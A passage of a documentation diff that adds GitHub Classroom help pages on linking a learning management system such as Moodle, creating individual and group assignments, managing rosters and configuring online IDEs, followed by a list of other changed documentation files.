variables.product.prodname_classroom %}. 1. Click **Turn editing on**. 1. Wherever you'd like {% data variables.product.prodname_classroom %} to be available in Moodle, click **Add an activity or resource**. 1. Choose **External tool** and click **Add**. 1. In the "Activity name" field, type "GitHub Classroom". 1. In the **Preconfigured tool** field, to the right of the drop-down menu, click **+**. 1. Under "External tool configuration", paste the configuration credentials from {% data variables.product.prodname_classroom %}. For more information, see "[Generating configuration credentials for your classroom](#generating-configuration-credentials-for-your-classroom)." | Field in Moodle app configuration | Value or setting | | :- | :- | | **Tool name** | {% data variables.product.prodname_classroom %} - _YOUR CLASSROOM NAME_<br/><br/>**Note**: You can use any name, but we suggest this value for clarity. | | **Tool URL** | Launch URL from {% data variables.product.prodname_classroom %} | | **LTI version** | LTI 1.0/1.1 | | **Default launch container** | New window | | **Consumer key** | Consumer key from {% data variables.product.prodname_classroom %} | | **Shared secret** | Shared secret from {% data variables.product.prodname_classroom %} | 1. Scroll to and click **Services**. 1. To the right of "IMS LTI Names and Role Provisioning", select the drop-down menu and click **Use this service to retrieve members' information as per privacy settings**. 1. Scroll to and click **Privacy**. 1. To the right of **Share launcher's name with tool** and **Share launcher's email with tool**, select the drop-down menus to click **Always**. 1. At the bottom of the page, click **Save changes**. 1. In the **Preconfigure tool** menu, click **GitHub Classroom - _YOUR CLASSROOM NAME_**. 1. Under "Common module settings", to the right of "Availability", select the drop-down menu and click **Hide from students**. 1. At the bottom of the page, click **Save and return to course**. 1. Navigate to anywhere you chose to display {% data variables.product.prodname_classroom %}, and click the {% data variables.product.prodname_classroom %} activity. ### Importing a roster from your LMS For more information about importing the roster from your LMS into {% data variables.product.prodname_classroom %}, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)." ### Disconnecting your LMS {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. Under "Connect to a learning management system (LMS)", click **Connection Settings**.  1. Under "Delete Connection to your learning management system", click **Disconnect from your learning management system**.  145 .../education/manage-coursework-with-github-classroom/create-a-group-assignment.md @@ -0,0 +1,145 @@ --- title: Create a group assignment intro: 'You can create a collaborative assignment for teams of students who participate in your course.' versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/create-group-assignments --- ### About group assignments {% data reusables.classroom.assignments-group-definition %} Students can work together on a group assignment in a shared repository, like a team of professional developers. When a student accepts a group assignment, the student can create a new team or join an existing team. {% data variables.product.prodname_classroom %} saves the teams for an assignment as a set. You can name the set of teams for a specific assignment when you create the assignment, and you can reuse that set of teams for a later assignment. {% data reusables.classroom.classroom-creates-group-repositories %} {% data reusables.classroom.about-assignments %} You can decide how many teams one assignment can have, and how many members each team can have. Each team that a student creates for an assignment is a team within your organization on {% data variables.product.product_name %}. The visibility of the team is secret. Teams that you create on {% data variables.product.product_name %} will not appear in {% data variables.product.prodname_classroom %}. For more information, see "[About teams](/github/setting-up-and-managing-organizations-and-teams/about-teams)." For a video demonstration of the creation of a group assignment, see "[Basics of setting up {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)." ### Prerequisites {% data reusables.classroom.assignments-classroom-prerequisite %} ### Creating an assignment {% data reusables.classroom.assignments-guide-create-the-assignment %} ### Setting up the basics for an assignment Name your assignment, decide whether to assign a deadline, define teams, and choose the visibility of assignment repositories. - [Naming an assignment](#naming-an-assignment) - [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment) - [Choosing an assignment type](#choosing-an-assignment-type) - [Defining teams for an assignment](#defining-teams-for-an-assignment) - [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories) #### Naming an assignment For a group assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the name of the team. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the team's name on {% data variables.product.product_name %} is "student-team", the name of the assignment repository for members of the team will be `assignment-1-student-team`. {% data reusables.classroom.assignments-type-a-title %} #### Assigning a deadline for an assignment {% data reusables.classroom.assignments-guide-assign-a-deadline %} #### Choosing an assignment type Under "Individual or group assignment", select the drop-down menu, then click **Group assignment**. You can't change the assignment type after you create the assignment. If you'd rather create a individual assignment, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)." #### Defining teams for an assignment If you've already created a group assignment for the classroom, you can reuse a set of teams for the new assignment. To create a new set with the teams that your students create for the assignment, type the name for the set. Optionally, type the maximum number of team members and total teams. {% tip %} **Tips**: - We recommend including details about the set of teams in the name for the set. For example, if you want to use the set of teams for one assignment, name the set after the assignment. If you want to reuse the set throughout a semester or course, name the set after the semester or course. - If you'd like to assign students to a specific team, give your students a name for the team and provide a list of members. {% endtip %}  #### Choosing a visibility for assignment repositories {% data reusables.classroom.assignments-guide-choose-visibility %} {% data reusables.classroom.assignments-guide-click-continue-after-basics %} ### Adding starter code and configuring a development environment {% data reusables.classroom.assignments-guide-intro-for-environment %} - [Choosing a template repository](#choosing-a-template-repository) - [Choosing an online integrated development environment (IDE)](#choosing-an-online-integrated-development-environment-ide) #### Choosing a template repository By default, a new assignment will create an empty repository for each team that a student creates. {% data reusables.classroom.you-can-choose-a-template-repository %} For more information about template repositories, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." {% data reusables.classroom.assignments-guide-choose-template-repository %} #### Choosing an online integrated development environment (IDE) {% data reusables.classroom.about-online-ides %} For more information, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)." {% data reusables.classroom.assignments-guide-choose-an-online-ide %} {% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %} ### Providing feedback Optionally, you can automatically grade assignments and create a space for discussing each submission with the team. - [Testing assignments automatically](#testing-assignments-automatically) - [Preventing changes to important files](#preventing-changes-to-important-files) - [Creating a pull request for feedback](#creating-a-pull-request-for-feedback) #### Testing assignments automatically {% data reusables.classroom.assignments-guide-using-autograding %} #### Preventing changes to important files {% data reusables.classroom.assignments-guide-prevent-changes %} #### Creating a pull request for feedback {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} {% data reusables.classroom.assignments-guide-create-review-pull-request %} {% data reusables.classroom.assignments-guide-click-create-assignment-button %} ### Inviting students to an assignment {% data reusables.classroom.assignments-guide-invite-students-to-assignment %} You can see the teams that are working on or have submitted an assignment in the **Teams** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %} <div class="procedural-image-wrapper"> <img alt="Group assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-group-hero.png"> </div> ### Next steps - After you create the assignment and your students form teams, team members can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and the team can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Creating, cloning, and archiving repositories](/github/creating-cloning-and-archiving-repositories)," "[Using Git](/github/using-git)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)," and the free course on [managing merge conflicts](https://lab.github.com/githubtraining/managing-merge-conflicts) from {% data variables.product.prodname_learning %}. - When a team finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand how the team collaborated. For more information, see "[Visualizing repository data with graphs](/github/visualizing-repository-data-with-graphs)." - You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)" and "[Opening an issue from code](/github/managing-your-work-on-github/opening-an-issue-from-code)." For more information about creating saved replies to provide feedback for common errors, see "[About saved replies](/github/writing-on-github/about-saved-replies)." ### Further reading - "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research)" - "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)" - [Using Existing Teams in Group Assignments?](https://education.github.community/t/using-existing-teams-in-group-assignments/6999) in the {% data variables.product.prodname_education %} Community 19 ...sework-with-github-classroom/create-an-assignment-from-a-template-repository.md @@ -0,0 +1,19 @@ --- title: Create an assignment from a template repository intro: You can create an assignment from a template repository to provide starter code, documentation, and other resources to your students. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/using-template-repos-for-assignments --- You can use a template repository on {% data variables.product.product_name %} as starter code for an assignment on {% data variables.product.prodname_classroom %}. Your template repository can contain boilerplate code, documentation, and other resources for your students. For more information, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." To use the template repository for your assignment, the template repository must be owned by your organization, or the visibility of the template repository must be public. {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} For more information, see "[Configure default settings for assignment repositories](/education/manage-coursework-with-github-classroom/configure-default-settings-for-assignment-repositories)." ### Further reading - "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" - "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)" 124 ...tion/manage-coursework-with-github-classroom/create-an-individual-assignment.md @@ -0,0 +1,124 @@ --- title: Create an individual assignment intro: You can create an assignment for students in your course to complete individually. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/creating-an-individual-assignment - /education/manage-coursework-with-github-classroom/create-an-individual-assignment --- ### About individual assignments {% data reusables.classroom.assignments-individual-definition %} {% data reusables.classroom.classroom-creates-individual-repositories %} {% data reusables.classroom.about-assignments %} For a video demonstration of the creation of an individual assignment, see "[Basics of setting up {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)." ### Prerequisites {% data reusables.classroom.assignments-classroom-prerequisite %} ### Creating an assignment {% data reusables.classroom.assignments-guide-create-the-assignment %} ### Setting up the basics for an assignment Name your assignment, decide whether to assign a deadline, and choose the visibility of assignment repositories. - [Naming an assignment](#naming-an-assignment) - [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment) - [Choosing an assignment type](#choosing-an-assignment-type) - [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories) #### Naming an assignment For an individual assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the student's {% data variables.product.product_name %} username. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the student's username on {% data variables.product.product_name %} is @octocat, the name of the assignment repository for @octocat will be `assignment-1-octocat`. {% data reusables.classroom.assignments-type-a-title %} #### Assigning a deadline for an assignment {% data reusables.classroom.assignments-guide-assign-a-deadline %} #### Choosing an assignment type Under "Individual or group assignment", select the drop-down menu, and click **Individual assignment**. You can't change the assignment type after you create the assignment. If you'd rather create a group assignment, see "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." #### Choosing a visibility for assignment repositories {% data reusables.classroom.assignments-guide-choose-visibility %} {% data reusables.classroom.assignments-guide-click-continue-after-basics %} ### Adding starter code and configuring a development environment {% data reusables.classroom.assignments-guide-intro-for-environment %} - [Choosing a template repository](#choosing-a-template-repository) - [Choosing an online integrated development environment (IDE)](#choosing-an-online-integrated-development-environment-ide) #### Choosing a template repository By default, a new assignment will create an empty repository for each student on the roster for the classroom. {% data reusables.classroom.you-can-choose-a-template-repository %} For more information about template repositories, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." {% data reusables.classroom.assignments-guide-choose-template-repository %} {% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %} #### Choosing an online integrated development environment (IDE) {% data reusables.classroom.about-online-ides %} For more information, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)." {% data reusables.classroom.assignments-guide-choose-an-online-ide %} ### Providing feedback for an assignment Optionally, you can automatically grade assignments and create a space for discussing each submission with the student. - [Testing assignments automatically](#testing-assignments-automatically) - [Preventing changes to important files](#preventing-changes-to-important-files) - [Creating a pull request for feedback](#creating-a-pull-request-for-feedback) #### Testing assignments automatically {% data reusables.classroom.assignments-guide-using-autograding %} #### Preventing changes to important files {% data reusables.classroom.assignments-guide-prevent-changes %} #### Creating a pull request for feedback {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} {% data reusables.classroom.assignments-guide-create-review-pull-request %} {% data reusables.classroom.assignments-guide-click-create-assignment-button %} ### Inviting students to an assignment {% data reusables.classroom.assignments-guide-invite-students-to-assignment %} You can see whether a student has joined the classroom and accepted or submitted an assignment in the **All students** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %} <div class="procedural-image-wrapper"> <img alt="Individual assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-individual-hero.png"> </div> ### Next steps - Once you create the assignment, students can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and student can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Creating, cloning, and archiving repositories](/github/creating-cloning-and-archiving-repositories)," "[Using Git](/github/using-git)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)." - When a student finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand the student's work. For more information, see "[Visualizing repository data with graphs](/github/visualizing-repository-data-with-graphs)." - You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)" and "[Opening an issue from code](/github/managing-your-work-on-github/opening-an-issue-from-code)." For more information about creating saved replies to provide feedback for common errors, see "[About saved replies](/github/writing-on-github/about-saved-replies)." ### Further reading - "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research)" - "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)" 9 ...on/manage-coursework-with-github-classroom/get-started-with-github-classroom.md @@ -0,0 +1,9 @@ --- title: Get started with GitHub Classroom shortTitle: Get started intro: Learn how to configure and use {% data variables.product.prodname_classroom %} to administer your course. mapTopic: true versions: free-pro-team: '*' --- 52 content/education/manage-coursework-with-github-classroom/glossary.md @@ -0,0 +1,52 @@ --- title: Glossary intro: You can review explanations of terminology for {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' --- ### assignment An assignment is coursework in {% data variables.product.prodname_classroom %}. A teacher can assign an assignment to an individual student or a group of students. Teachers can import starter code for the assignment, assign students, and create a deadline for each assignment. For more information, see the definitions for "[individual assignment](#individual-assignment)" and "[group assignment](#group-assignment)." --- ### classroom A classroom is the basic unit of {% data variables.product.prodname_classroom %}. Teachers can use a classroom to organize and manage students, teaching assistants, and assignments for a single course. A classroom belongs to an organization on {% data variables.product.prodname_dotcom_the_website %}. To administer a classroom, you must be an organization owner for the organization on {% data variables.product.prodname_dotcom %}. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms)." --- ### {% data variables.product.prodname_classroom %} {% data variables.product.prodname_classroom %} is a web application for educators that provides course administration tools integrated with {% data variables.product.prodname_dotcom %}. For more information, see the [{% data variables.product.prodname_classroom %}](https://classroom.github.com/) website. --- ### group assignment {% data reusables.classroom.assignments-group-definition %} For more information, see "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." --- ### identifier An identifier in {% data variables.product.prodname_classroom %} is a unique ID for a student participating in a course. For example, an identifier can be a student name, alphanumeric ID, or email address. --- ### individual assignment {% data reusables.classroom.assignments-individual-definition %} For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)." --- ### roster A roster allows a teacher to manage students and assignment submissions in a classroom on {% data variables.product.prodname_classroom %}. Teachers can create a roster by entering a list of student identifiers, or by connecting {% data variables.product.prodname_classroom %} to a learning management system (LMS). For more information about identifiers, see the definition of "[identifier](#identifier)." For more information about connecting {% data variables.product.prodname_classroom %} to an LMS, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)." --- ### Further reading - "[{% data variables.product.prodname_dotcom %} glossary](/github/getting-started-with-github/github-glossary)" 32 content/education/manage-coursework-with-github-classroom/index.md @@ -0,0 +1,32 @@ --- title: Manage coursework with GitHub Classroom shortTitle: '{% data variables.product.prodname_classroom %}' intro: With {% data variables.product.prodname_classroom %}, you can use {% data variables.product.product_name %} to administer or participate in a course about software development. versions: free-pro-team: '*' --- ### Table of Contents {% topic_link_in_list /get-started-with-github-classroom %} {% link_in_list /basics-of-setting-up-github-classroom %} {% link_in_list /glossary %} {% topic_link_in_list /teach-with-github-classroom %} {% link_in_list /manage-classrooms %} {% link_in_list /create-an-individual-assignment %} {% link_in_list /create-a-group-assignment %} {% link_in_list /create-an-assignment-from-a-template-repository %} {% link_in_list /leave-feedback-with-pull-requests %} {% link_in_list /use-autograding %} {% link_in_list /configure-default-settings-for-assignment-repositories %} {% link_in_list /connect-a-learning-management-system-to-github-classroom %} {% topic_link_in_list /integrate-github-classroom-with-an-ide %} {% link_in_list /integrate-github-classroom-with-an-online-ide %} {% link_in_list /about-using-makecode-arcade-with-github-classroom %} {% link_in_list /about-using-replit-with-github-classroom %} {% link_in_list /run-student-code-in-an-online-ide %} {% topic_link_in_list /learn-with-github-classroom %} {% link_in_list /view-autograding-results %} 8 ...nage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide.md @@ -0,0 +1,8 @@ --- title: Integrate GitHub Classroom with an IDE shortTitle: Integrate with an IDE intro: You can help your students write, test, and debug code by preconfiguring a development environment for assignment repositories on {% data variables.product.prodname_classroom %}. mapTopic: true versions: free-pro-team: '*' --- 42 ...ursework-with-github-classroom/integrate-github-classroom-with-an-online-ide.md @@ -0,0 +1,42 @@ --- title: Integrate GitHub Classroom with an online IDE shortTitle: Integrate with an online IDE intro: You can preconfigure a supported online integrated development environment (IDE) for assignments you create in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/online-ide-integrations --- ### About integration with an online IDE {% data reusables.classroom.about-online-ides %} After a student accepts an assignment with an online IDE, the README file in the student's assignment repository will contain a button to open the assignment in the IDE. The student can begin working immediately, and no additional configuration is necessary.  ### Supported online IDEs {% data variables.product.prodname_classroom %} supports the following online IDEs. You can learn more about the student experience for each IDE. | IDE | More information | | :- | :- | | Microsoft MakeCode Arcade | "[About using MakeCode Arcade with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/about-using-makecode-arcade-with-github-classroom)" | | Repl.it | "[About using Repl.it with GitHub Classroom](/education/manage-coursework-with-github-classroom/about-using-replit-with-github-classroom)" | ### Configuring an online IDE for an assignment You can choose the online IDE you'd like to use for an assignment when you create an assignment. To learn how to create a new assignment that uses an online IDE, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." ### Authorizing the OAuth app for an online IDE The first time you configure an assignment with an online IDE, you must authorize the OAuth app for the online IDE for your organization.  For all repositories, grant the app **read** access to metadata, administration, and code, and **write** access to administration and code. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)." ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 7 ...ducation/manage-coursework-with-github-classroom/learn-with-github-classroom.md @@ -0,0 +1,7 @@ --- title: Learn with GitHub Classroom intro: You can participate in coursework in {% data variables.product.prodname_classroom %} and see results from your teacher. mapTopic: true versions: free-pro-team: '*' --- 33 ...on/manage-coursework-with-github-classroom/leave-feedback-with-pull-requests.md @@ -0,0 +1,33 @@ --- title: Leave feedback with pull requests intro: You can leave feedback for your students in a special pull request within the repository for each assignment. permissions: People with read permissions to a repository can leave feedback in a pull request for the repository. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/leaving-feedback-in-github --- ### About feedback pull requests for assignments {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} When you enable the pull request for feedback for an assignment, {% data variables.product.prodname_classroom %} will create a special pull request titled **Feedback** in the assignment repository for each student or team. The pull request automatically shows every commit that a student pushed to the assignment repository's default branch. ### Prerequisites To create and access the feedback pull request, you must enable the feedback pull request when you create the assignment. {% data reusables.classroom.for-more-information-about-assignment-creation %} ### Leaving feedback in a pull request for an assignment {% data reusables.classroom.sign-into-github-classroom %} 1. In the list of classrooms, click the classroom with the assignment you want to review.  {% data reusables.classroom.click-assignment-in-list %} 1. To the right of the submission, click **Review**.  1. Review the pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)." ### Further reading - "[Integrate {% data variables.product.prodname_classroom %} with an IDE](http://localhost:4000/en/free-pro-team@latest/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)" 121 content/education/manage-coursework-with-github-classroom/manage-classrooms.md @@ -0,0 +1,121 @@ --- title: Manage classrooms intro: You can create and manage a classroom for each course that you teach using {% data variables.product.prodname_classroom %}. permissions: Organization owners can manage a classroom for an organization. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/archive-a-classroom --- ### About classrooms {% data reusables.classroom.about-classrooms %}  ### About management of classrooms {% data variables.product.prodname_classroom %} uses organization accounts on {% data variables.product.product_name %} to manage permissions, administration, and security for each classroom that you create. Each organization can have multiple classrooms. After you create a classroom, {% data variables.product.prodname_classroom %} will prompt you to invite teaching assistants (TAs) and admins to the classroom. Each classroom can have one or more admins. Admins can be teachers, TAs, or any other course administrator who you'd like to have control over your classrooms on {% data variables.product.prodname_classroom %}. Invite TAs and admins to your classroom by inviting the user accounts on {% data variables.product.product_name %} to your organization as organization owners and sharing the URL for your classrom. Organization owners can administer any classroom for the organization. For more information, see "[Permission levels for an organization](/github/setting-up-and-managing-organizations-and-teams/permission-levels-for-an-organization)" and "[Inviting users to join your organization](/github/setting-up-and-managing-organizations-and-teams/inviting-users-to-join-your-organization)." When you're done using a classroom, you can archive the classroom and refer to the classroom, roster, and assignments later, or you can delete the classroom if you no longer need the classroom. ### About classroom rosters Each classroom has a roster. A roster is a list of identifiers for the students who participate in your course. When you first share the URL for an assignment with a student, the student must sign into {% data variables.product.product_name %} with a user account to link the user account to an identifier for the classroom. After the student links a user account, you can see the associated user account in the roster. You can also see when the student accepts or submits an assignment.  ### Prerequisites You must have an organization account on {% data variables.product.product_name %} to manage classrooms on {% data variables.product.prodname_classroom %}. For more information, see "[Types of {% data variables.product.company_short %} accounts](/github/getting-started-with-github/types-of-github-accounts#organization-accounts)" and "[Creating a new organization from scratch](/github/setting-up-and-managing-organizations-and-teams/creating-a-new-organization-from-scratch)." You must authorize the OAuth app for {% data variables.product.prodname_classroom %} for your organization to manage classrooms for your organization account. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)." ### Creating a classroom {% data reusables.classroom.sign-into-github-classroom %} 1. Click **New classroom**.  {% data reusables.classroom.guide-create-new-classroom %} After you create a classroom, you can begin creating assignments for students. For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." ### Creating a roster for your classroom You can create a roster of the students who participate in your course. If your course already has a roster, you can update the students on the roster or delete the roster. For more information, see "[Adding a student to the roster for your classroom](#adding-students-to-the-roster-for-your-classroom)" or "[Deleting a roster for a classroom](#deleting-a-roster-for-a-classroom)." {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. To connect {% data variables.product.prodname_classroom %} to your LMS and import a roster, click {% octicon "mortar-board" aria-label="The mortar board icon" %} **Import from a learning management system** and follow the instructions. For more information, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)."  1. To create a roster manually, type your student identifiers. Optionally, click **Upload a CSV or text file** to upload a file containing the identifiers.  1. Click **Create roster**.  ### Adding students to the roster for your classroom Your classroom must have an existing roster to add students to the roster. For more information about creating a roster, see "[Creating a roster for your classrom](#creating-a-roster-for-your-classroom)." {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. To the right of "Classroom roster", click **Update students**.  1. Follow the instructions to add students to the roster. - To import students from an LMS, click **Sync from a learning management system**. For more information about importing a roster from an LMS, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)." - To manually add students, under "Manually add students", click **Upload a CSV or text file** or type the identifiers for the students, then click **Add roster entries**.  ### Renaming a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. Under "Classroom name", type a new name for the classroom.  1. Click **Rename classroom**.  ### Archiving or unarchiving a classroom You can archive a classroom that you no longer use on {% data variables.product.prodname_classroom %}. When you archive a classroom, you can't create new assignments or edit existing assignments for the classroom. Students can't accept invitations to assignments in archived classrooms. {% data reusables.classroom.sign-into-github-classroom %} 1. To the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Archive**.  1. To unarchive a classroom, to the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Unarchive**.  ### Deleting a roster for a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. Under "Delete this roster", click **Delete roster**.  1. Read the warnings, then click **Delete roster**.  ### Deleting a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. To the right of "Delete this classroom", click **Delete classroom**.  1. **Read the warnings**. 1. To verify that you're deleting the correct classroom, type the name of the classroom you want to delete.  1. Click **Delete classroom**.  22 ...on/manage-coursework-with-github-classroom/run-student-code-in-an-online-ide.md @@ -0,0 +1,22 @@ --- title: Run student code in an online IDE intro: You can run the code from a student assignment within the online integrated development environment (IDE) that you configured for the assignment. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/running-student-code --- ### About student code and online IDEs If you configure an online integrated development environment (IDE) for an assignment, you can run the code within the online IDE. You don't need to clone the assignment repository to your computer. For more information about online IDEs, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." ### Running student code in the online IDE {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-assignment-in-list %} 1. To the right of the submission, click **View IDE**.  8 ...ducation/manage-coursework-with-github-classroom/teach-with-github-classroom.md @@ -0,0 +1,8 @@ --- title: Teach with GitHub Classroom intro: Learn how to set up your classroom and assignments. mapTopic: true versions: free-pro-team: '*' --- 93 content/education/manage-coursework-with-github-classroom/use-autograding.md 30 ...t/education/manage-coursework-with-github-classroom/view-autograding-results.md 90 content/education/quickstart.md 1 ...github-education/about-campus-advisors.md → ...github-education/about-campus-advisors.md 1 ...-github-education/about-campus-experts.md → ...-github-education/about-campus-experts.md 1 ...ducation-for-educators-and-researchers.md → ...ducation-for-educators-and-researchers.md 5 ...on/about-github-education-for-students.md → ...on/about-github-education-for-students.md 9 ...ithub-education/about-github-education.md → ...ithub-education/about-github-education.md 5 .../applying-for-a-student-developer-pack.md → ...ion/apply-for-a-student-developer-pack.md 14 ...for-an-educator-or-researcher-discount.md → ...for-an-educator-or-researcher-discount.md 26 content/education/teach-and-learn-with-github-education/index.md 3 ...github-at-your-educational-institution.md → ...github-at-your-educational-institution.md 3 ...ation/using-github-for-your-schoolwork.md → ...ucation/use-github-for-your-schoolwork.md 3 ...-github-in-your-classroom-and-research.md → ...-github-in-your-classroom-and-research.md 5 ...-for-a-student-developer-pack-approved.md → ...-for-a-student-developer-pack-approved.md 3 ...ucator-or-researcher-discount-approved.md → ...ucator-or-researcher-discount-approved.md 20 ...ering-a-repository/enabling-or-disabling-github-discussions-for-a-repository.md 5 content/github/administering-a-repository/index.md 2 content/github/authenticating-to-github/reviewing-your-security-log.md 1 content/github/collaborating-with-issues-and-pull-requests/index.md 74 ...with-issues-and-pull-requests/reviewing-dependency-changes-in-a-pull-request.md 19 ...g-with-issues-and-pull-requests/reviewing-proposed-changes-in-a-pull-request.md 10 content/github/creating-cloning-and-archiving-repositories/about-repositories.md 15 content/github/customizing-your-github-workflow/about-github-marketplace.md 2 content/github/getting-started-with-github/git-and-github-learning-resources.md 4 content/github/getting-started-with-github/github-glossary.md 6 content/github/getting-started-with-github/signing-up-for-a-new-github-account.md 1 content/github/index.md 2 ...b/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies.md 25 ...hub/managing-security-vulnerabilities/about-managing-vulnerable-dependencies.md 1 content/github/managing-security-vulnerabilities/index.md 4 ...nerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository.md 3 ...criptions-and-notifications-on-github/managing-notifications-from-your-inbox.md 6 content/github/managing-your-work-on-github/about-issues.md 3 content/github/searching-for-information-on-github/about-searching-on-github.md 5 content/github/searching-for-information-on-github/index.md 114 content/github/searching-for-information-on-github/searching-discussions.md 2 ...ithub/searching-for-information-on-github/searching-issues-and-pull-requests.md 2 ...nd-managing-billing-and-payments-on-github/about-billing-for-github-sponsors.md 4 